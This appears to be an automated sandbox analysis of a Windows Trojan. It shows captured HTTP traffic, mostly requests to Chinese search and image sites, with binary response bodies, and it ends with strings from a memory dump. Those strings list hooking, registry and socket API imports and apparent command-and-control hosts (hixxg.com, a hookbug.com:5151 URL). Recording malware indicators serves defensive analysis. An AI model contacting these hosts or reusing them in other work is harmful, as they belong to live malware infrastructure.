...En.hl..z..[./g1........z.VkdO2....;.F.<P....,e..g(W....i.G.U.M.}.G6...s_/z#...........?...............{X.'._...'oAl..&.aC/.ec....N.R...x6.....02.....|2..Z.`..p%=.....D
<<
<<< skipped >>>
GET /soso/images/icon_index.png HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.soso.com
Connection: Keep-Alive
Cookie: SUID=26266BB86914920A0000000053B9B257
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:24 GMT
Content-Type: image/png
Content-Length: 3310
Connection: keep-alive
Last-Modified: Wed, 18 Jun 2014 15:19:23 GMT
Set-Cookie: IPLOC=CA; expires=Mon, 06-Jul-15 20:32:23 GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
ETag: "53a1adfb-cee"
Expires: Tue, 05 Aug 2014 20:32:23 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes
.PNG........IHDR...d...x.....3(......PLTE.......~.......E..v.....'...........S...............~..s..v.......L..f.......................M.....h.....&.....M..;...~..........m......x........|.P........N...z....A......}.^..U...........F...{................X......y...........}.....}.......]..G...y..........................|..........5..............0......|....5.........v...........z..............................................................|.>...........P................. ..........................-....................... ....................,........P......t...........z..|...........{........}..~..~..}..~.............[.........}.....~....$......|..~.,..v...}.P..:.........~.".........|.e..'..T..2......~..~.......@..3......}.........................H..............J......................................1.!.....tRNS.@..f....IDATx^..5.$I.E..........353.- z..,...U...%....4.l.6.c...P..m...pF.M.w..aK.z(.h.J.BH.!...B<..:.CC...C,....0.-3..e.......hA.P..ai..=P...?....:b[.j.y!a.........?>...T.3..E...nvpe.....k.........z......=.a(..-U..W.........z....}..P;..l.}..l^fY.G!..&C.Rp....W...9...QH s...].?....jU_)u.P.B.sBh.W/o......mUY..(.X......-.w.n....{."h..{.RhWJ.z..U....(....Y..!^..V..i'....&nhMN.K.|(.....a.G!..,..\j..{..{.}..C=..\...p.XN6/.....q)...x.....W.W...a..../..P.B,x .....I...._~.t.......mA..7..<..<..(D.. ....S..MF.....j4.Bh...`h..`...1.`G..M,....P.a.h..b...lA....@.l0o<.4.v.%.Yl4.5......9Vi ..0<e.B...DR...l..N..aK...X.........6...X.. ..<@......Uz....a...4?G..>L.F..%R\...*fMU5U.Hw.x.(.Ak.H.....7
<<
<<< skipped >>>
GET /q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=¾¢Îèææ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*
Referer: hXXp://VVV.soso.com/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.soso.com
Connection: Keep-Alive
Cookie: SUID=26266BB86914920A0000000053B9B257
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:25 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: SNUID=BFBCF1229A9E6415DB3310AF9AEB7C29; expires=Wed, 16-Jul-14 20:32:25 GMT; path=/
Set-Cookie: IPLOC=CA; expires=Mon, 06-Jul-15 20:32:25 GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
set-cookie: ld=NwFoPlllll2FmbJBlllllVni7O6lllllmp7uJkllll9lllllxoER$5@@@@@@@@@@; path=/; expires=Tue, 05 Aug 2014 20:32:25 GMT; domain=.sogou.com
Cache-Control: max-age=0
Expires: Sun, 06 Jul 2014 20:32:25 GMT
Content-Encoding: gzip
4e7.............V.n.F....?04.X._.l."%..l...6h.$].C...f.ag.,9.6..v.E.-.................etY.....;w.9......;.b2............GO.O..v......M...G..5......9b.{..i.)@...|>w.}....~....#.q......#=.>......2t.M.......~.....@@CFL#.9.......9N..'hR...W.f...T..F."!..g..'...;#.......x............o....??.CY.v....?....|.........cU...Z..%...0......dn.! .......L....w.4*.2.)..#.S>.....z..xf%....)..P..y.r.E.f... U.s).$...AZb*...|.3..;d<z..K"b..~J1&yP..8........MsL.~7..Hh........-.A..&.W...O.q0.....B..N.....8..?..x..P_AURJh.......b......j....y^0O).[.("~.E...ba..a..]...U.$D.../...b.@.Z..P...z...TZ.U..)...<..y..p.......z.......uF..4J.n.....<.....S....<Ur.....~......DJ.}.)..b.3.R.;....O...o.7..#.;...^5.T.r..Yn.|.....&.@. ..^K..o.f.a.$.....lJo.......&....3......\..........4..9..;...)..{.|.!...=.....T62....{.y...6U....?R{.TVO.P.u3..P.V@.3......m.J..:y..n..E....-...G.........r4K6.B7...h3.....I.<MYM.h..1..@..9..-..To...P........ ..(......-..l.^.f...Q....A...'.>... ...JDD.j.r..n......Mk...7.u.e.....By.......o.......j....Q....$5...j...a...oo.>.9...f....ufC.G..........1.1.......7..r....~..mT..:.k....;.g.W..}.3.Yk`.f.....P..t.:...F...8...e.....,..........[.Z.Y.,.mQ...M}YE..J%P}...U.h^........R..K.*skt.$.I.s.....^...b...D5c.yI....o.H}1.U6Kd9.....I....W.1Y.H.I...9.$....._.......5ca...Y.n.H....~.fdX...H..... 1Z..03."..VUw.....VH..Ewu...B...R[.\.l..j.......n"s..4$...... . p...5.E...?..yN..G....W..$i&.I.......7..p.I.........z'.<A..E_...'...\s.A.]......=......SF......$....j.}....&...D...e..8.NW..u3.X%.Gp...PJ.\r.p.e...
<<
<<< skipped >>>
GET /images/logo/new/soso.png?nv=1&v=2 HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=¾¢Îèææ
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.soso.com
Connection: Keep-Alive
Cookie: SUID=26266BB86914920A0000000053B9B257; SUV=1404660986458226; SNUID=BFBCF1229A9E6415DB3310AF9AEB7C29
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:28 GMT
Content-Type: image/png
Content-Length: 3404
Connection: keep-alive
Last-Modified: Wed, 18 Jun 2014 15:21:30 GMT
Set-Cookie: IPLOC=CA; expires=Mon, 06-Jul-15 20:32:27 GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
ETag: "53a1ae7a-d4c"
Expires: Tue, 05 Aug 2014 20:32:27 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes
.PNG........IHDR...P.........)$>^....tEXtSoftware.Adobe ImageReadyq.e<...iiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:876c5444-223a-614d-ac26-3c04da56ced6" xmpMM:DocumentID="xmp.did:9D1AE99FBFD611E389B7F303B5CA6916" xmpMM:InstanceID="xmp.iid:9D1AE99EBFD611E389B7F303B5CA6916" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D33C333AC52E11E3BAA5ECA415BB5447" stRef:documentID="xmp.did:D33C333BC52E11E3BAA5ECA415BB5447"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......yIDATx..XiPT..~..nVA.FD6.p...*.q...D.2.RQ....)...q....DKKE....G..[..,......)..\XD6i.......b.(3..Ts...{.n.9....M(....do......b.Y..:mm.$.X..wO..)..pbc...&==,.diS...m..??..88s.@[_H....|.V...../..&.1b..F.^.....$......M...' ..vEM.Z_...u.V'.A9.IW.......U.........3g.dee........V.^....s...7....J%.":....z.j...;w...............C655.<yR....U........M6..~.H....L....h...83sb..qq.=.xo...a.....@mJ.|URO.<x..........>|.O.>......#G..x."...1c...G..}..Ejj..U....&M.t....{....G...<.NAAAqqq.~.|}} **..C.}HH..Q...........}
<<
<<< skipped >>>
GET /images/ico_icp.gif HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=¾¢Îèææ
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.soso.com
Connection: Keep-Alive
Cookie: SUID=26266BB86914920A0000000053B9B257; SUV=1404660986458226; SNUID=BFBCF1229A9E6415DB3310AF9AEB7C29
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:29 GMT
Content-Type: image/gif
Content-Length: 1139
Connection: keep-alive
Last-Modified: Wed, 18 Jun 2014 15:22:42 GMT
Set-Cookie: IPLOC=CA; expires=Mon, 06-Jul-15 20:32:29 GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
ETag: "53a1aec2-473"
Expires: Tue, 05 Aug 2014 20:32:29 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes
GIF89a...................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:29A259B042D711E3ABC99BBCDC02AA8E" xmpMM:DocumentID="xmp.did:29A259B142D711E3ABC99BBCDC02AA8E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:29A259AE42D711E3ABC99BBCDC02AA8E" stRef:documentID="xmp.did:29A259AF42D711E3ABC99BBCDC02AA8E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..................................................................................................................................~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-, *)('&%$#"! .................................!.......,..........(.."p..N.j..q.|e....L!......s...E..8vn.y..;....
<<
<<< skipped >>>
GET /js/sugg_ajaj.v.5.2.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=¾¢Îèææ
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.soso.com
Connection: Keep-Alive
Cookie: SUID=26266BB86914920A0000000053B9B257; SUV=1404660986458226; SNUID=BFBCF1229A9E6415DB3310AF9AEB7C29
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:30 GMT
Content-Type: application/x-javascript
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Wed, 18 Jun 2014 15:23:35 GMT
Set-Cookie: IPLOC=CA; expires=Mon, 06-Jul-15 20:32:30 GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Expires: Tue, 05 Aug 2014 20:32:30 GMT
Cache-Control: max-age=2592000
Content-Encoding: gzip
11a9...............r.6.Wlv.CF4M.m.*...yX..8i...>M."!.6_...-..o..IP..M..X,.....I..E..{y.'....u:5..D/.S.L....ft.h.....f,$.,V.'......S.."..2g.[........Lt.......'...........,....D.i..sB....l^....w./.K.2.z&}O.V....V......8-....c..g.......-0....k..@i.x.[\.*.`R\.&y.1...,.9....`.....m.B..Y^..... ..I.......Y.........3...=....BE.A.....^.......o.r.H3.4e....N..{z..>Ob.>O5...Y...B.fb....C.....I?.44..m>.......#..=.t.8!.|............/.zM.V.d..qi.D"2.z.......g.......}.....3..V..F....;...V....cB..9....8VNEe.&:,.XQf....g....".=_x0.j0...........2:...}x.U. /X...-0........EA.)G..$.:.........z$f....`.......Cno..`...m..kZL.,)cO.... ...\x."v...`k`e..K.:.....r.M.".....FM..'..&..........xD3Y.&.....wI.&1..^..v.1....k......'....<lGy...h#.^Xi.Ou.GS7N.B.k...3...B....M...;.d8-p..7.^5.i.@..bNSD.n...A......JjF.D.BE.v...r....j.27...nWa.2q@.Fj.B.A............g.b-(x..d....*x.Q....3....$.uP.Fi...Q.a=..".*.......(.....H8.CC...rG..6vf. d:...hh...D#f..0.....awP..xET^X.*.W|...L....&.W<. ...<.-.,..`S.-..T<.Y.@...*...GS..p..Lb..j..{......8:}....b.$....F.}.b... ..M...d....'...9...`.w.Q..;...-.k.d.&....... .8..f..[cq.#..*U$....H.......$.@n ........W...WfW..........K.9G....@.L:h ...s...43C8.C/..m...4c.T....$..sW:u.^......V.|y....3...S...M...N.......g...q.........X|#........_.X&8{..g.....%...B3.....Ia.j.P...Z...rg..........r.......T...F%.M...l.zg&...c......k.x.`.Q....S.t........./..1 (c...n.....[...;.)....6...\.....):.q..f).!...wH....dF4..;..4GrJ...^....ne:.ci....*....X.`.]T0U.J........0"...u@.>...F.32_..fuy..?.%....)=.B..}..Ti..(
<<
<<< skipped >>>
GET /30d/img/web/logo130826.png HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=¾¢Îèææ
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: soso.qstatic.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Expires: Wed, 30 Jul 2014 16:38:02 GMT
Date: Mon, 30 Jun 2014 16:38:02 GMT
Content-Type: image/png
ETag: "52594142"
Accept-Ranges: bytes
Last-Modified: Mon, 26 Aug 2013 08:32:00 GMT
Cache-Control: max-age=2592000
Content-Length: 2443
Server: WS CDN Server
Age: 1
X-Via: 1.1 zjjhdx33:80 (Cdn Cache Server V2.0), 1.1 lasi18:7 (Cdn Cache Server V2.0)
Connection: keep-alive
.PNG........IHDR.............K-......PLTE...DDEffg...IIJ...QQRMMNFFG......[[\.....<.................Nxxy.jZ......e...............TC...........@.........^^_iij............KKL............B.....................O=........a............................F3...wwx.......^M...........a..u........]......E....Jy....Z......aaa......mmn..9~~...o...XXY.YH...........q..h.cS....L9[...............G4qqr..>K..........Ddde}}~......zz{.....G.........ttt.................T...........s.....q...WWX.....i....se................\K...t..........W...........y..............U...........................T.......e.....................__`..............R............ccd.....|..k...................J8............eef...||}..z....................'..........................}.oa......oop...uuv}..........u..gVVW..........`P....................E@.......tRNS.@..f...9IDATx^..c.,M..3..:.m...m..m..m....mk2..o.97b76.>?z:...DuVV..v....V...'.D.|....p...w~y)3<6.L....9I.K.......I..[....b.m.&.^.M.rC..@....A.k.HZ.9`..J...{YG......9.3@...C.\.1.....^.! ..$....8.$n|..|............S2'.X..".D`.~..bn...I.4-..4M.z.4rEfkZ..(F..#]....Jj9....8Q.....=By.-E.. ^..D.}u...vG.Q1.....X..VJ\>......e.pmXYYX...)...-.6|..!...q*4(.......s..Y(.$........X.. .Ll..V2..)Y..0...]...yt...R....a Y....PT.._.....N...v.w8(.......Q......z..~...M..l4.$?XB.w..g.... .....?.A..f...EJv.....o.,M.d....ns....w...U.5.K..i6...(.d.....K..L6...A.H.v...` .:2.-.......#.V.....a4..B..N.1...H>`......Ih.g"YLI..9VkO<f.[.D......l..Z....8......%eT[......z..~.F[`{.R.6 Uir...^..........u'(..$...w(z.`.1..
<<
<<< skipped >>>
GET /wpa/images/group.png HTTP/1.1
Accept: */*
Referer: hXXp://VVV.hookbug.com:5151/qunb.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: pub.idqqimg.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: NWS_UGC_HY
Connection: keep-alive
Date: Sun, 06 Jul 2014 20:32:23 GMT
Cache-Control: max-age=2592000
Expires: Tue, 05 Aug 2014 20:32:23 GMT
Last-Modified: Fri, 12 Apr 2013 09:22:21 GMT
Content-Type: image/png
Content-Length: 1827
X-Cache-Lookup: Hit From Disktank
.PNG........IHDR...Z.........w.{'....PLTEV...dE)r.Ip..........F........F..Kyy...r.....~E ......m..c..........d3.....S.....r...S1...#.....c........A..l3....d.............ynvc......"..]Z@.mZ..jB..............&..I...\BH.....................rHh........z4$...X..0.....R.....s@6...{RL(.......Xs.y......S........%.........vb...4......bW...[%..........L..t..s..c>'...2..............wsw..i.............yM...WwaR...?-.fU...~K;.`H...t..V..:..d...........h/#.......Z74..........pt5(...K...vb=......lM.........N.kr......I A............pVs..k.....f'.p.....c..%...SG.J;..r6......fBr..o=5...T..J...jB......5.....|......n^....XLm3#......y.f.}X....]6...,y....8..........q.D-Mt....^* z= y>#.dK...^...........>..s..J..............B....q...................xy...'..t.....7..M...~Re........s: .K(.rP`)..^=.........3......G:V......WE..2.....pHYs.................IDAT8....T.U...lCs..It.....5r,*....I.K.].5p.d....2.4Fw.m}.....e.v7r.........S.D.IVR.&.....y8G;.................N.r...9.t......p9.....].......,Ko..i.......Mh.|@..hyw..9...n..qo-....C.....s.fpo..:{..vtQQG........'..zmr.......H...m.u4.;..t...7....C.........a...?....{)...W..4...u......(....l..Q.|......R.u.3K.;.!..}vy([.e.~YhG[^. y......C...<....~.<-^I3......$..B....z...?$......u...S.7....qF$?.wF..G..lkC#...=...A...C.......#x...Ea.yvS(..P..e..2..*....yD]]d.\.....{..h.....5.UK.@J....ux7...>5.H_....}...T]2x,EO7SEmf.6.u:sk(..4...-.,...o6;B...Me. .\..._.]SSs..._....?g.,.x.$.tL...)..u.<Mv`4..Q<QiU.1O.X%......q..-.w.h... **.....e}..E...'...51t...0...0v....)^1.'.^..U.u`| 3.8l.)
<<
<<< skipped >>>
GET /websearch/features/year.jsp HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.sogou.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:23 GMT
Content-Type: application/x-javascript; charset=gbk
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: ABTEST=0|1404678743|v17; expires=Tue, 05-Aug-14 20:32:23 GMT; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Set-Cookie: IPLOC=CA; expires=Mon, 06-Jul-15 20:32:23 GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Set-Cookie: SUID=26266BB86914920A0000000053B9B257; expires=Sat, 01-Jul-34 20:32:23 GMT; domain=.sogou.com; path=/
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Expires: Sun, 06 Jul 2014 20:32:23 GMT
Cache-Control: max-age=0
Content-Encoding: gzip
30............J.O..M. . /.,I.P7204Q.........i.........0..HTTP/1.1 200 OK..Server: nginx..Date: Sun, 06 Jul 2014 20:32:23 GMT..Content-Type: application/x-javascript; charset=gbk..Transfer-Encoding: chunked..Connection: keep-alive..Set-Cookie: ABTEST=0|1404678743|v17; expires=Tue, 05-Aug-14 20:32:23 GMT; path=/..P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"..Set-Cookie: IPLOC=CA; expires=Mon, 06-Jul-15 20:32:23 GMT; domain=.sogou.com; path=/..P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"..Set-Cookie: SUID=26266BB86914920A0000000053B9B257; expires=Sat, 01-Jul-34 20:32:23 GMT; domain=.sogou.com; path=/..P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"..Expires: Sun, 06 Jul 2014 20:32:23 GMT..Cache-Control: max-age=0..Content-Encoding: gzip..30............J.O..M. . /.,I.P7204Q.........i.........0......
<<
<<< skipped >>>
GET /img/fav.ico?6be69b4a-b962-42eb-8324-0d6d8e367010 HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=¾¢Îèææ
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.sogou.com
Connection: Keep-Alive
Cookie: ABTEST=0|1404678743|v17; IPLOC=CA; SUID=26266BB86914920A0000000053B9B257
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:29 GMT
Content-Type: image/gif
Content-Length: 43
Connection: keep-alive
Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT
GIF89a.............!.......,...........L..;..
GET /net/a/04/link?&url=http://p4.yokacdn.com/pic/cr/2011/0909/10256772.jpg&appid=100520072&referer=hXXp://VVV.yokamen.cn/auto/news/2013/0604089097.shtml HTTP/1.1
Accept: */*
Referer: hXXp://VVV.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=¾¢Îèææ
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: img04.store.sogou.com
Connection: Keep-Alive
Cookie: IPLOC=CA; SUID=26266BB86914920A0000000053B9B257
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2014 20:32:27 GMT
Content-Type: image/jpeg
Content-Length: 8289
Connection: keep-alive
X-Powered-By: PHP/5.3.3
ETag: be34d07853b29896e8638bc2e7118225
Expires: Sun, 27 Jul 2014 15:24:44 GMT
Cache-Control: max-age=2592000
Last-Modified: Fri, 27 Jun 2014 15:24:44 GMT
......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 95....C....................................................................C.......................................................................Z...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......)...Ig".!^=......\..W./.zn..$zm...E......g.#..3...5....3M.]...m.kky..6.@...l..#...~0~.w....7....Y.V.n.w.N0...z.};....p.. .Q.P.iTv..I...~.Q. VNr|.tZ.....z..e....5....y`)...9.8...[..^8....G[`.r.4.$h..I..l..(k.o....V...L.>.o.)bf......u.Am.$dd.y.q.o.H..me.......v.~..W....[K..'...9.e......H.-..?........I''..w.{_M......y.s.........._.......W.:...:..j-.V....G ..'..e._.A;O[..=.w..X<U.e|).\1...<qk.N;n`s.........A..W...g...t}..........i.XE.ZG,......Þ.s.$..G.?.O...]b....qh...@.| .C.....R.S.8.%....|~......<4.l.n.Z...z.z....i.....n.~.Kqmm.~....P_.&..}...... ..H.....V... T.<=g.........kO....W...(.<'%rT....PG.3.g..]..........m..-..............28....B.......S.T..~..~....K.......c0)....&.v1.h..R...0.g.}..;0.*C*R..I.77$...ev.oK.V.y.<.. /h.........:l.T.)....yc...?L..B.M.E&....\.....V..5..x..r.....|sf....:].....;..r.....89$rk.....o
<<
<<< skipped >>>
GET /s/blog_b61e00f001016mtd.html HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: blog.sina.com.cn
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.2.8
Date: Sun, 06 Jul 2014 20:32:23 GMT
Content-Type: text/html
Content-Length: 26137
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Cache-Control: no-cache
Expires: Sun, 06 Jul 2014 20:32:22 GMT
Last-Modified: Sun, 06 Jul 2014 09:58:09 GMT 8
DPOOL_HEADER: 10.55.27.25
SINA-LB: aGwuOTAuc2c1LmphLmxiLnNpbmFub2RlLmNvbQ==
SINA-TS: ZThmOWU0Y2UgMCAwIDAgOSAyMTkK
Age: 66855
X-Cache: HIT from blog-front006.blog.ja.sinanode.com
X-debug: 218.30.115.254
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xmlns="hXXp://VVV.w3.org/1999/xhtml">.<head>.<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />.<title>.................._........._............</title>.<meta name="keywords" content=".................._........._............,.........,it" />.<meta name="description" content=".................._........._............,.........," />.<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />.<meta http-equiv="mobile-agent" content="format=html5; url=hXXp://blog.sina.cn/dpool/blog/s/blog_b61e00f001016mtd.html?vt=4">.<meta http-equiv="mobile-agent" content="format=wml; url=hXXp://blog.sina.cn/dpool/blog/ArtRead.php?nid=b61e00f001016mtd&vt=1">.<!...[if lte IE 6]>.<script type="text/javascript">.try{.document.execCommand("BackgroundImageCache", false, true);.}catch(e){}.</script>.<![endif]...>.<script type="text/javascript">.window.staticTime=new Date().getTime();.</script>.<link rel="pingback" href="hXXp://upload.move.blog.sina.com.cn/blog_rebuild/blog/xmlrpc.php" />.<link rel="EditURI" type="application/rsd xml" title="RSD" href="hXXp://upload.move.blog.sina.com.cn/blog_rebuild/blog/xmlrpc.php?rsd" />.<link href="http://blog.sina.com.cn/blog_rebuild/blog/wlwmanifest.xml" type="application/wlwmanifest xml" rel="wlwmanifest" />.<link rel="alternate"
<<
<<< skipped >>>
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_1368:
.text
.text
.rdata
.rdata
@.data
@.data
.rsrc
.rsrc
t$(SSh
t$(SSh
~%UVW
~%UVW
u$SShe
u$SShe
kernel32.dll
kernel32.dll
Kernel32.dll
Kernel32.dll
ntdll.dll
ntdll.dll
user32.dll
user32.dll
Shlwapi.dll
Shlwapi.dll
shlwapi.dll
shlwapi.dll
NTDLL.DLL
NTDLL.DLL
psapi.dll
psapi.dll
advapi32.dll
advapi32.dll
wsock32.dll
wsock32.dll
Ws2_32.dll
Ws2_32.dll
ws2_32.dll
ws2_32.dll
ole32.dll
ole32.dll
atl.dll
atl.dll
OLEACC.DLL
OLEACC.DLL
gdiplus.dll
gdiplus.dll
gdi32.dll
gdi32.dll
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
CreateWindowStationA
CreateWindowStationA
CloseWindowStation
CloseWindowStation
ExitWindowsEx
ExitWindowsEx
SetWindowsHookExA
SetWindowsHookExA
EnumWindows
EnumWindows
CreateIoCompletionPort
CreateIoCompletionPort
GdiplusShutdown
GdiplusShutdown
RegCreateKeyA
RegCreateKeyA
RegOpenKeyA
RegOpenKeyA
RegEnumKeyA
RegEnumKeyA
RegCloseKey
RegCloseKey
RegFlushKey
RegFlushKey
RegOpenKeyExA
RegOpenKeyExA
RegCreateKeyExA
RegCreateKeyExA
RegDeleteKeyA
RegDeleteKeyA
www.hixxg.com
www.hixxg.com
http://www.hookbug.com:5151/vip
